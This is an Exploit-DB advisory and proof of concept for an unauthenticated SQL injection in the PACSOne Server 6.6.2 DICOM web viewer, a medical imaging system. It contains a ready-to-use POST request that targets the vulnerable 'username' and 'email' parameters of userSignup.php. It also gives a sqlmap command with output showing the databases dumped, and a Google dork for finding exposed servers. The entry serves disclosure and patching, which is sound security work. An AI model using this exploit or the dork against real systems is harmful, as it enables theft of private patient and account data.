PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection

EDB-ID: 43908
Author: Carlos Avila
Published: 2018-01-28
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 08/14/2017 
# Software Link: http://www.pacsone.net/download.htm
# Version: PACSOne Server 6.6.2
# Exploit Author: Carlos Avila
# Google Dork: inurl:pacs/login.php inurl:pacsone/login.php inurl:pacsone filetype:php home inurl:pacsone filetype:php login
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Contact: http://twitter.com/badboy_nt

1. Description

DICOM Web Viewer is a component written in PHP. In version 6.6.2, it is vulnerable to SQL Injection. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin credentials aren't required.
The 'username' and 'email' parameters via POST are vulnerable.

Found: 08/14/2017
Last Vendor Reply & Fix: 09/28/2017

2. Proof of Concept


POST /pacs/userSignup.php HTTP/1.1
Host: 192.168.6.105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Referer: http://192.168.6.105/pacs/userSignup.php?hostname=localhost&database=dicom
Cookie: PHPSESSID=k0ggg80jcl6m61nrmp12esvat2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hostname=localhost&database=dicom&username=test&password=22222222&firstname=test&lastname=test&email=test&action=Sign+Up


[email protected]:~# sqlmap -r pacsone_local -v 2 -f -p email --dbms mysql –dbs

web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.25
back-end DBMS: active fingerprint: MySQL >= 5.5.0
comment injection fingerprint: MySQL 5.7.14
html error message fingerprint: MySQL
[20:09:33] [INFO] fetching database names
[20:09:33] [INFO] the SQL query used returns 2 entries
[20:09:33] [INFO] retrieved: information_schema
[20:09:33] [INFO] retrieved: dicom
[20:09:33] [DEBUG] performed 3 queries in 0.11 seconds
available databases [2]:
[*] dicom
[*] information_schema


3. Solution:

Application inputs must be validated correctly.

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